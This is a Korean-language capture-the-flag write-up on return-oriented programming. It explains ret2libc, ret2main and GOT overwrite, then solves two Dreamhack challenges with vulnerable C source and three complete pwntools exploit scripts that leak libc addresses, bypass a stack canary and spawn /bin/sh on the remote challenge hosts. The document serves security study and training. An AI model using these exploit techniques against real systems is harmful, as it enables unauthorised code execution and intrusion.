ROP 기법
ret2lib
이 공격 기법은 함수 복귀 주소에 다른 사용자 지정 함수를 사용해서 쉘을 얻는 기법이 아닌 이미 프로그램에 존재하는 라이브러리를 활용해서 쉘을 얻는 기법이다. 보통 C 라이브러리에 있는 execve()나 system() 함수를 사용해서 얻는다. 이 함수들을 실행시키려면 쉘의 경로와 같은 인자를 요구하므로 "pop rdi; ret"과 같은 ROP 가젯과 활용해서 함께 사용한다.
요약해여 이미 프로그램에 매핑된 libc 라이브러리의 함수를 가져와서 새로운 코드 없이 기존의 코드로 공격할 수 있다.
ret2main
이 공격 기법은 예를 들어서 카나리 값은 알고 다른 함수 주소나 중요한 값을 모르는데 이미 보낼 수 있는 버퍼가 없을 때 복귀 주소에 main을 넣어서 다시 돌아온 다음 새로 생긴 버퍼에 페이로드를 넣어 다른 값도 함께 알아내는 공격 기법이다.
GOT Overwrite
특정 GOT 요소에 해당하는 함수의 주소 값 대신 필요한 다른 함수의 주소 값을 넣어 해당 함수를 실행시켜도 다른 함수를 실행시키게 할 수 있는 공격 기법이다. 이를 활용하여 read에 해당하는 주소 대신 system에 해당하는 주소를 넣으면 read()를 실행시켰을 때 system() 함수가 실행시키도록 할 수 있다.
basic_rop_x64
이 문제는 x86-64 환경에서 진행되는 ROP 문제이다. 아래는 실행 파일을 구성한 C언어 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
보면 단순히 입력을 많이 받아서 BOF를 할 수 있는 것으로 보인다. checksec으로 보호기법을 확인해보자.
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols No 0 1 basic_rop_x64
보면 NX만 걸려 있고 나머지 보호 기법도 안 되어 있는 것을 확인할 수 있다. 이를 이용해서 GOT Overwrite 공격 기법으로 풀 것이다.
from pwn import *
context.log_level="debug"
context.arch = "amd64"
#p = process("./basic_rop_x64")
p = remote("host8.dreamhack.games", 9850)
libc = ELF("./libc.so.6")
e = ELF("./basic_rop_x64")
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9
libc_system = libc.symbols["system"]
libc_read = libc.symbols["read"]
payload = b"A" * 0x40 + b"B" * 8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8)
payload += p64(ret)
payload += p64(read_plt)
p.send(payload)
p.recvuntil(b"A" * 0x40)
read_addr = u64(p.recv(8))
print(hex(read_addr))
lb = read_addr - libc_read
system_addr = lb + libc_system
p.send(p64(system_addr) + b"/bin/sh\x00")
p.interactive()
먼저 함수를 호출할 때 쓸 가젯들을 모아둔다. 버퍼를 채울 더미데이터를 넣은 다음 write 함수를 사용하여 read GOT 엔트리가 가리키고 있는 실제 함수 주소를 출력한다. 이를 통해서 libc read 심볼과 빼고 system 심볼과 더하여 시스템 함수의 실제 주소를 얻을 수 있다. GOT Overwrite를 하기 위해서 read GOT 엔트리 주소에 시스템 함수 주소를 넣을 수 있도록 입력 받는다. 이후 페이로드에 넣을 시스템 주소 뒤에 "/bin/sh" 문자열을 저장해놔서 쉽게 포인터를 쓸 수 있게 한다.
마지막으로 이 페이로드에서 read_got + 8 (/bin/sh)를 rdi에 넣고 read_plt (system) 을 실행시키면 쉘이 실행될 것이다.


ROP
이 문제도 위 문제와 같이 rop를 사용해 쉘을 얻는 문제다. 다른 점이라면 여기선 카나리를 얻고 rop를 진행해야 한다는 것이다.
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
문제 코드는 위와 같다. 여기서 입력 받는 버퍼에 위치는 rbp-0x40에 위치하므로 카나리를 얻어올 떄 0x39까지 더미데이터로 덮으면 된다.
GOT Overwrite 풀이
from pwn import *
# p = process("./rop")
p = remote("host8.dreamhack.games", 10094)
e = ELF("./rop")
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
libc_read = libc.symbols["read"]
libc_system = libc.symbols["system"]
buf = b"A" * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
print(hex((canary)))
pause()
payload = b"A" * 0x38 + p64(canary) + b"B" * 8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b"Buf: ", payload)
read_addr = u64(p.recv(8))
print(hex(read_addr))
lb = read_addr - libc_read
system_addr = lb + libc_system
p.send(p64(system_addr) + b"/bin/sh\x00")
p.interactive()
GOT Overwrite 풀이는 카나리를 얻는 부분을 빼면 basic_rop_x64에서 작성했던 코드를 거의 수정 없이 가져다가 사용했다. 이를 이용해서 쉘을 쉽게 얻을 수 있다.

ret2main 풀이
from pwn import *
context.log_level = "debug"
# p = process("./rop")
p = remote("host8.dreamhack.games", 10094)
e = ELF("./rop")
libc = ELF("./libc.so.6")
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
libc_read = libc.symbols["read"]
libc_system = libc.symbols["system"]
buf = b"A" * 0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
canary = u64(b"\x00" + p.recvn(7))
print(hex((canary)))
payload = b"A" * 0x38 + p64(canary) + b"B" * 8
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(ret)
payload += p64(e.symbols["main"])
p.sendafter(b"Buf: ", payload)
read_addr = u64(p.recv(8))
print(hex(read_addr))
lb = read_addr - libc_read
system_addr = lb + libc_system
binsh = list(libc.search("/bin/sh"))[0]
binsh_addr = lb + binsh
payload2 = b"A" * 0x38 + p64(canary) + b"B" * 0x8
payload2 += p64(pop_rdi) + p64(binsh_addr)
payload2 += p64(ret)
payload2 += p64(system_addr)
p.sendafter(b"Buf: ", b"A")
p.recvuntil(b"Input ROP payload")
p.sendafter(b"Buf: ", payload2)
p.interactive()
ret2main 기법을 사용하면 오히려 더 쉬워진다. 카나리를 얻고 read got 주소를 출력하는 것까지는 똑같다. 그러나 여기서 계속 연계해 입력을 받았던 GOT Overwrite와 달리 main으로 이동해 다시 입력을 받게 한다. 이후 연산을 해서 시스템 주소를 구하고 pwntools에 있는 search 기능을 이용해 /bin/sh 문자열을 찾는다. 이 후 페이로드를 작성해준다.
페이로드에서는 특정 GOT를 다른 함수로 바꾼 게 아니기에 구한 시스템 함수 주소를 복귀 주소에다 넣는다. 마지막으로 카나리를 구하는 입력을 무시하고 그 다음에 있는 Input ROP payload 입력에 페이로드를 넣어 작동시킨다.
그러면 정상적으로 쉘을 얻을 수 있다.

